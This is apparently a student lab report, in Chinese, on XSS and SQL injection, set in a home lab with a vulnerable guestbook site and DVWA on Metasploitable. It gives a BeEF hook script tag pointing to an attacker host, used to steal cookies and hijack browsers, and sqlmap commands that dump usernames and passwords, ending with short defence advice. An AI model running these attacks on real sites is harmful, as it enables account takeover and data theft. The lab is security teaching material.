XSS和SQL注入
实验原理
## 1.什么是XSS
XSS又叫CSS (Cross Site Script) 也称为跨站,它是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
## 2.什么是xss攻击
XSS攻击是指入侵者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,由于HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码,例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失。如这句简单的Java脚本就能轻易获取用户信息:alert(document.cookie),它会弹出一个包含用户信息的消息框。入侵者运用脚本就能把用户信息发送到他们自己的记录页面中,稍做分析便获取了用户的敏感信息。
## XSS漏洞的分类
1.存储型 XSS:交互形Web应用程序出现后,用户就可以将一些数据信息存储到Web服务器上。如果有某个Web应用程序的功能是负责将用户提交的数据存储到数据库中,然后在需要时将这个用户提交的数据再从数据库中提取出返回到网页中,在这个过程中,如果用户提交的数据中包含一个XSS攻击语句,一旦Web应用程序准备将这个攻击语句作为用户数据返回到网页中,那么所有包含这个回显信息的网页将全部受到XSS漏洞的影响。
2.DOM-Based XSS漏洞: DOM是Document Object Model(文档对象模型)的缩写。根据W3C DOM规范(),DOM是一种与浏览器、平台、语言无关的接口,使得网页开发者可以利用它来访问页面其他的标准组件。简单解释,DOM解决了Netscape的JavaScript和Microsoft的JScrtipt之间的冲突,给予Web设计师和开发者一个标准的方法,让他们来访问他们站点中的数据、脚本和表现层对象。由于DOM有如此好的功能,大量的Web应用程序开发者在自己的程序中加入对DOM的支持,令人遗憾的是,Web应用程序开发者这种滥用DOM的做法使得Web应用程序的安全也大大降低,DOM-Based XSS正是在这样的环境下出现的漏洞。DOM-Based XSS漏洞与Stored XSS漏洞不同,因为他甚至不需要将XSS攻击语句存入到数据库中,直接在浏览器的地址栏中就可以让Web应用程序发生跨站行为。对于大多数的Web应用程序来说,这种类型的XSS漏洞是最容易被发现和利用的。
3.反射性XSS
反射型XSS:仅对当次的页面访问产生影响。使得用户访问一个被攻击者篡改后的链接(包含恶意脚本),用户访问该链接时,被植入的攻击脚本被用户浏览器执行,从而达到攻击目的。
XSS实验部分
XSS部分:利用Beef劫持被攻击者客户端浏览器。
实验环境搭建。
角色:留言簿网站。存在XSS漏洞;(IIS或Apache、guestbook搭建)
攻击者:Kali(使用beEF生成恶意代码,并通过留言方式提交到留言簿网站);
被攻击者:访问留言簿网站,浏览器被劫持。
我们在win server2012中搭建具有XSS漏洞的”我心依然“留言簿网站,注意搭建留言簿网站时需要需要给iss添加支持asp的功能,同时也要在网站根目录 属性——>安全——>添加Everyone 并设置完全控制权限,这样留言才可写入网站。
1.使用awvs扫描网站发现网站存在的漏洞
经过扫描发现存在有XSS漏洞
2.使用beef攻击
在kali的漏洞利用工具中可以找到beef
打开,首次打开会让我们更改密码
接着在浏览器输入http://127.0.0.1:3000/ui/panel即可打开beef,在beef中已经有了攻击使用的js代码hook.js,输入可查看
Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
3.进行XSS攻击
登录留言簿网站,写入js语句!
留言成功后之后该网站已被进行xss攻击
接着我们使用win7登录改网站,在kali中可以发现我们登录的信息
我们就可以使用command对目标机器进行操作,
获取cookie
给目标机器发送弹窗
被劫持的机器就会弹出相应的弹窗
我们可以在deef中使用command Redirect 在Redirect中输入一个Url,在目标机器访问留言簿网站时会自动跳转到我们设置的这一个跳转网站。
该攻击属于存储型XSS
SQL注入
1.什么是sql注入攻击
所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。
2.何时使用sql注入攻击
当Web应用向后端的数据库提交输入时,就可能遭到SQL注入攻击。可以将SQL命令人为的输入到URL、表格域,或者其他一些动态生成的SQL查询语句的输入参数中,完成上述攻击。因为大多数的Web应用程序都依赖于数据库的海量存储和相互间的逻辑关系(用户权限许可,设置等),所以,每次的查询中都会存在大量的参数。
SQL注入部分:DVWA+SQLmap+Mysql注入实战
实验环境搭建。启动Metasploitable虚拟机
实验准备
1.将dvwa安全级别设置为最低
2.获取注入点
3.获取cookie
4.实施注入
实验开始
2-1获取注入点
得到注入点的url
获取cookie值(可以通过安装TamperData插件获取cookie值,也可以通过浏览器控制台document.cookie获取,也可以通过直接查看请求头的方式获取)
2-2枚举出所有数据库
sqlmap -u "url" --cookie="cookie" --dbs
2-3获取数据库表名
sqlmap -u "url" --cookie="cookie" -D dvwa -tables
获取到了dvwa的表名,它有两个表一个guestbook 一个users
2-4查users表
sqlmap -u"url" --cookie="" -D 数据库 —T表 --columns
2-5列出users表中user password 列
sqlmap -u"url" --cookie="cookie" -D 数据库 -T 表 —C"user,password" --dump
爆出了用户名跟密码
2-6获取数据库类型,检索数据库管理系统标识
获取到操作系统,以及数据库类型
sqlmap -u"http://192.168.131.133/dvwa/vulnerabilities/sqli/?id=12&Submit=Submit#" --cookie="security=low; PHPSESSID=5274e58d1f17cdf8c5cfa6b63f8d3465" -b
如何防范SQL注入
Web开发人员认为SQL查询请求是可以信赖的操作,但事实却是恰恰相反的,他们没有考虑到用户可以控制这些查询请求的参数,并且可以在其中输入符合语法的SQL命令。
解决SQL注入问题的方法再次归于对特殊字符的过滤,包括URL、表格域以及用户可以控制的任何输入数据。与SQL语法相关的特殊字符以及保留字应当在查询请求提交到数据库之前进行过滤或者被去除(例如跟在反斜号后面的单引号)。过滤操作最好在服务器端进行。将过滤操作的代码插入到客户机端执行的HTML中,实在是不明智的,因为攻击者可以修改验证程序。防止破坏的唯一途径就是在服务器端执行过滤操作。避免这种攻击更加可靠的方式就是使用存储过程。